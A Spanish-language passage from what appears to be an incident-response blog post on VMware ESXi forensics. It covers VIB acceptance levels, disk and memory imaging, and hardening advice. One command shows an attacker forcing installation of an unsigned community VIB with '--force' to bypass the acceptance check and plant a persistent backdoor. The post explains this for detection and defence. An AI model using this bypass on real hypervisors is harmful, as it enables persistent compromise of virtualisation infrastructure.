Otros artefactos, como Cronjobs (/var/spool/cron/crontabs/root) y los Servicios y procesos del sistema.
VIBs
Los VIBs (vSphere Installation Boundle Package), son colecciones de datos que típicamente se utilizan para parchar o actualizar los sistemas ESXi. Estos paquetes de datos se componen de 3 secciones:
Payload, archivo que contiene el código que se carga (.vgz).
Descriptor XML, que contiene metadata con la descripción del VIB.
Firma, que permite verificar el nivel de integridad de un paquete VIB.
Estos paquetes pueden ser listados en cada uno de los servidores ESXi que posee la organización, utilizando la herramienta esxcli que es nativa de estos servidores.
[root@ESXIA:~] esxcli software vib list
Name Version Vendor Acceptance Level Install Date
--------------- ------------------------------------- ------ ---------------- ------------
atlantic 1.0.3.0-8vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
bnxtnet 216.0.50.0-44vmw.703.0.50.20036589 VMW VMwareCertified 2024-09-17
bnxtroce 216.0.58.0-23vmw.703.0.50.20036589 VMW VMwareCertified 2024-09-17
brcmfcoe 12.0.1500.2-3vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
elxiscsi 12.0.1200.0-9vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
elxnet 12.0.1250.0-5vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
i40en 1.11.1.31-1vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
Dependiendo de quién sea la entidad que construya este paquete VIB, el parámetro "Acceptance Level" del código anterior nos dará una pista de quién o quiénes son los responsable de crear este código.
El Acceptannce Level, es un sistema de firma digital usado por VMware para especificar qué pruebas se han realizado por VMwareo partners de VMware antes de que el VIB sea publicado. Básicamente, es un parámetro asignado a los paquetes VIB y que nos permite identificar el origen del código que estamos instalando.
Este parámetro tiene 4 valores específicos:
Acceptance Level | Descripción | Acceptance Level |
VMwareCertified | VIBs creados y probados por VMware. | VMwareCertified |
VMwareAccepted | VIBs creados por un partner de Vmware que están aprobados por VMware. | VMwareAccepted |
PartnerSupported | VIBs creados y probados por partners confiables de VMware. | PartnerSupported |
CommunitySupported | VIBs creados por la comunidad o por partners fuera del programa de partners de VMware. | CommunitySupported |
Como es posible ver de la tabla anterior, el Acceptance level del tipo "CommunitySupported" es asignado aquellos paquetes VIB creados directamente por la comunidad o que no son VMware ni partners de ellos.
Los actores de amenaza que poseen acceso administrativo, suelen abusar de esta funcionalidad para instalar código malicioso en los hipervisores, gracias a que es posible generar archivos payloads para luego ser empaquetados como VIBs. En este sentido, un paquete VIB malicioso creado por un actor de amenaza, tendrá obligadamente un Acceptance Level de tipo Community Supported.
Por defecto, los servidores ESXi solo aceptan la instalación de paquetes VIB con un Acceptance Level mayor o igual a PartnerSupported, por lo que al intentar instalar un paquete VIB del tipo CommunitySupported, ESXi lanzará un error.
[root@ESXIA:~] esxcli software vib install –v /vibs/NotMaliciousCommunity.vib
[AceptanceConfigError]
VIB Community’s acceptance level is community, which is not compliant with the ImageProfile acceptance level partner. To change the host acceptance level, use the ‘esxcli software acceptance set’ command. please refer to the log file for more details.
Si nuestro ESXi no está hardenizado correctamente, fácilmente un actor de amenaza puede agregar la flag --force al comando mostrado anteriormente y saltar este control de seguridad, instalando así el VIB malicioso:
[root@ESXIA:~] esxcli software vib install –v /vibs/NotMaliciousCommunity.vib --force
Installation Result
Message: The update completed successfully.
Reboot Required: false
VIBs Installed: NotMaliciousCommunity
VIBs Removed:
VIBs Skipped: Algo interesante relacionado a los VIBs, es que si bien no todas las instalaciones sobre servidores ESXi persisten en el host después de un reboot (debido a que el sistema operativo opera en memoria), los VIBs si quedan de forma persistente.
Mandiant (ahora parte de Google Cloud) hace algunos años identificó un compromiso de 2 backdoors distintos de nombre VIrtualpita y Virtualpie. Les dejo aquí linkeado un artículo muy interesante sobre el tema:
[root@ESXIA:~] esxcli software vib list
Name Version Vendor Acceptance Level Install Date
--------------- ------------------------------------- ------ ---------------- ------------
atlantic 1.0.3.0-8vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
bnxtnet 216.0.50.0-44vmw.703.0.50.20036589 VMW VMwareCertified 2024-09-17
bnxtroce 216.0.58.0-23vmw.703.0.50.20036589 VMW VMwareCertified 2024-09-17
brcmfcoe 2.0.1500.2-3vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
EvilVIB 1.0.0-3-vmw CommunitySupported 2024-10-20
elxiscsi 12.0.1200.0-9vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
elxnet 12.0.1250.0-5vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
i40en 1.11.1.31-1vmw.703.0.20.19193900 VMW VMwareCertified 2024-09-17
Para detectar estos VIBs maliciosos, VMware (oh bueno, los amigos Broadcom) creó un script de nombre "Verify_ESXi_VIB_signature.ps1" que permite listar en todas las instancias de ESXi los VIBs instalados con sus respectivos Acceptance level y firmas digitales. La finalidad de este script, es poder identificar aquellos VIBs maliciosos instalados por un actor de amenaza, a través de un documento CSV que arroja como salida la ejecución de este script.
Obtención de imágenes forenses en ESXi
La obtención de imágenes forenses en servidores ESXi puede darse de distintas formas dependiendo del contexto en el que se encuentre una investigación. Me he topado casos en los que las organizaciones o empresas han apagado los servidores luego del ataque y temen encenderlos debido a que podría existir una probabilidad de que se propague el malware en su red. En otros casos, los servidores se han mantenido encendidos y desconectados de la red, pero los administradores han perdido acceso debido al cambio de contraseñas generado por el actor de amenaza.
Cualquiera sea el caso, si estamos atendiendo una respuesta a incidentes, estos escenarios mencionados nos obligaran a tomar una imagen forense del disco y una imagen de memoria del servidor afectado.
Para cumplir con esto, primero debemos entender que ESXi es un hipervisor de tipo 1, lo que significa que se ejecuta directamente en el hardware de un sistema sin necesidad de un sistema operativo (OS). La mayoría de los componentes esenciales de este sistema viven en la memoria RAM del servidor, por lo que obtener una imagen de disco difiere de las imágenes de memoria convencionales que solemos tomar de servidores Unix.
Imagen de disco
Cuando listamos los discos de un servidor ESXi, podemos ver una estructura básica como la que sigue:
[root@ESXIA:/] esxcfg-scsidevs -c
Device UID Device Type Console Device Size Multipath PluginDisplay Name
mpx.vmhba0:C0:T0:L0 Direct-Access /vmfs/devices/disks/mpx.vmhba0:C0:T0:L0 15360MB HPP Local VMware, Disk (mpx.vmhba0:C0:T0:L0)
mpx.vmhba0:C0:T1:L0 Direct-Access /vmfs/devices/disks/mpx.vmhba0:C0:T1:L0 40960MB HPP Local VMware, Disk (mpx.vmhba0:C0:T1:L0)
mpx.vmhba64:C0:T0:L0 CD-ROM /vmfs/devices/cdrom/mpx.vmhba64:C0:T0:L0 5582MB NMP Local NECVMWar CD-ROM (mpx.vmhba64:C0:T0:L0)[root@ESXIA:~] df -h
Filesystem Size Used Available Use% Mounted on
VMFS-6 39.8G 35.1G 4.7G 88% /vmfs/volumes/Datastore40-A
VFFS 12.8G 2.8G 9.9G 22% /vmfs/volumes/OSDATA-66e9e98f-f7c392d5-355e-000c29f80503
vfat 1023.8M 202.7M 821.2M 20% /vmfs/volumes/BOOTBANK1
vfat 1023.8M 32.0K 1023.8M 0% /vmfs/volumes/BOOTBANK2Como podemos ver, el dispositivo (o disco) mpx.vmhba0:C0:T0:L0 de 15 GB, corresponde a la partición OS-DATA, en la cual, se encuentran aquellos archivos persistente de nuestro sistema (como por ejemplo VIBs y logs de Scratch). Usualmente, esta será la partición a la cual le sacaremos la imagen forense, pero pese a esto, es muy probable que las herramientas usadas por los actores de amenaza, residan en la raíz "/" del sistema, de la cual no tendremos datos duros si reinician el servidor, debido a que este directorio vive en memoria RAM.
Si los administradores tienen acceso al sistema ESXi, la obtención de una imagen se resume en realizar una copia bit a bit hacia una ruta con suficiente espacio utilizando la herramienta dd:
[root@ESXIA:/] dd if=/vmfs/devices/disks/mpx.vmhba0:C0:T0:L0 of=/Path/with/enought/Space/image_evidence.dd bs=4096 conv=sync,noerrorPodemos realizar un procedimiento similar, pero booteando desde una imagen Linux y ejecutando el comando (con algunas diferencias dado que estamos booteando desde otro Linux).
Una tercera opción es extraer el disco físico del servidor y conectarlo a un dispositivo Windows por ejemplo y utilizar alguna herramienta como FTKimager para realizar la generaciónd e la imagen.
Luego, teniendo nuestra imagen copiada, podemos proceder a montarla. Para ello, si el disco está en formato raw como lo mostramos arriba (resultado de la ejecución de dd), debemos mapear el disco a las particiones loop utilizando la herramienta losetup.
sudo /usr/sbin/losetup --partscan --find --show image_evidence.ddSi listamos las particiones utilizando lsbk en nuestro sistema Linux, veremos algo como lo siguiente:
15:52 h4tt0r1 かたな Katana: ~/ $ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS
loop0 7:0 0 15G 0 loop
├─loop0p1 259:5 0 100M 0 part
├─loop0p5 259:6 0 1G 0 part
├─loop0p6 259:7 0 1G 0 part
└─loop0p7 259:8 0 12.9G 0 part
sda 8:0 0 1.8T 0 disk
└─sda1 8:1 0 1.8T 0 part
nvme0n1 259:0 0 1.9T 0 disk
................................Posteriormente, debemos montarlo a un directorio utilizando VMFS6-FUSE (recordemos que nuestra partición tiene un sistema de archivos de tipo VMFS).
sudo /usr/sbin/vmfs6-fuse /dev/loop0p7 /mnt/esxi_evidencePara este último paso, recomiendo usar la versión 0.2.1 de VMFS6-tools. Otras versiones me produjeron errores con el kernel de mi sistema Linux.
Ya con esto, podemos inspeccionar el contenido de la imagen de disco obtenida.
Imagen de memoria
Como entenderán, dado que los actores de amenaza utilizan directorios volátiles del sistema como "/" u "/opt", es necesario realizar la obtención de imágenes de memoria para tratar de obtener otros artefactos maliciosos copiados por el actor.
En mi experiencia, la mejor manera de realizar este procedimiento, es desde un USB booteable que permita la ejecución de herramientas como AVML (https://github.com/microsoft/avml) o LiMe (https://github.com/504ensicsLabs/LiME). Pero ¿Cómo bootear un USB sin tener que apagar el sistema y que se nos borre la memoria RAM?
La respuesta es: realizar un reinicio suave del sistema. Recordemos que si quitamos por completo la energía de nuestro servidor ESXi, existe una alta probabilidad de que las memorias pierden el almacenamiento que tenían hasta ese entonces, por lo que es necesario tener mucho cuidado con este reinicio del sistema.
Habiendo considerado esto, realizar esta extracción solo requiere seguir los pasos de la documentación de la herramienta utilizada (LiME o AVML) y su análisis lo dejaremos para una nueva entrada del blog más adelante.
Recomendaciones
A continuación, dejo algunas recomendaciones de seguridad que deben ser consideradas al momento de aplicar la hardenización de estos ambientes y que pueden frenar las catastróficas consecuencias que deja este tipo de intrusión infraestructura crítica.
Recomendaciones de Alta prioridad
Deshabilitar el acceso mediante SSH y consola Shell en hosts ESXi y vCenter.
Restringir el acceso a servidores VMware a direcciones IP específicas mediante reglas de Firewall local en servidores ESXi y vCenter.
Deshabilitar el acceso a internet en servidores VMware.
Implementar el uso de estaciones de trabajo y/o VPN con perfiles dedicados para el acceso administrativo a infraestructura VMware.
Utilizar equipos de escritorio dedicados o servidores de salto hardenizados para la administración de la infraestructura VMware.
Restringir el acceso a las interfaces de administración de ESXI, vCenter, vSan, etc, mediante el uso de Vlans específicas.
Habilitar el modo Lockdown (preferiblemente en modo estricto), para forzar que las operaciones se realicen de manera exclusiva desde vCenter.
Configurar métodos de Autenticación de Doble Factor para el acceso a vCenter.
Uso de Smart Card, RSA SecureID, DUO.
Restringir la instalación de VIB Maliciosas utilizando SecureBoot.
Restringir la ejecución de binarios en servidores ESXi (ELF y Shell scripts).
Utilizar la protección contra Ransomwares de forma nativa mediante la habilitación del parametro execInstalledOnly. La opción execInstalledOnly ayuda a proteger sus hosts contra ataques de ransomware al garantizar que VMkernel ejecute solo aquellos binarios en un host que hayan sido empaquetados y firmados correctamente como parte de un VIB válido. Esta opción evita la ejecución de shell scripts y binarios ELF, pero NO de scripts python.
[root@ESXIA:~] esxcli system settings advanced list -o /User/execInstalledOnly
Path: /User/ExecInstalledOnly
Type: integer
Int Value: 1
Default Int Value: 1
Min Value: 0
Max Value: 1
String Value:
Default String Value:
Valid Characters:
Description: Runtime option to disable/enable exec InstalledOnly. The runtime option is only checked if the related exec InstalledOnly kernel
option is disabled.
Host Specific: false
Impact: noneRecomendaciones de Mediana prioridad
Reforzar el uso de contraseñas robustas en las cuentas asociadas a la infraestructura Vmware.
Utilizar Trusted Platform Module (TPM) para el monitoreo de cambios en configuraciones.
Monitoreo centralizado mediante una solución SIEM
Requiere el reenvío de logs a la plataforma SIEM.
Deshabilitar o restringir el uso de VIX API a cuentas de usuario designadas en los sistemas ESXI.
Habilitar marcas de tiempo en el historial de comandos de usuarios (por ejemplo: /root/.ash_history en ESXi)
Habilitar mayor información de logs y utilizar partición /Scratch para almacenar logs de forma persistente.
Implementar soluciones de backup robustas.
A excepción de aquellas recomendaciones específicas de sistemas VMware, varias de estas recomendaciones vienen muy bien para la protección de cualquier activo crítico de una organización. Recomiendo encarecidamente agregarlas a tu roadmap de ciberseguridad, ya que será un gran salvavidas en una situación devastadora dentro de la red.
SI existe alguna duda con respecto a cualquiera de los temas planteados en este post, no duden en contactarme por redes sociales. Agradezco a la gente que se toma el tiempo de leer mis post, a pesar de que haga uno por año jeje.
Sin más que decir, cerramos el post aquí.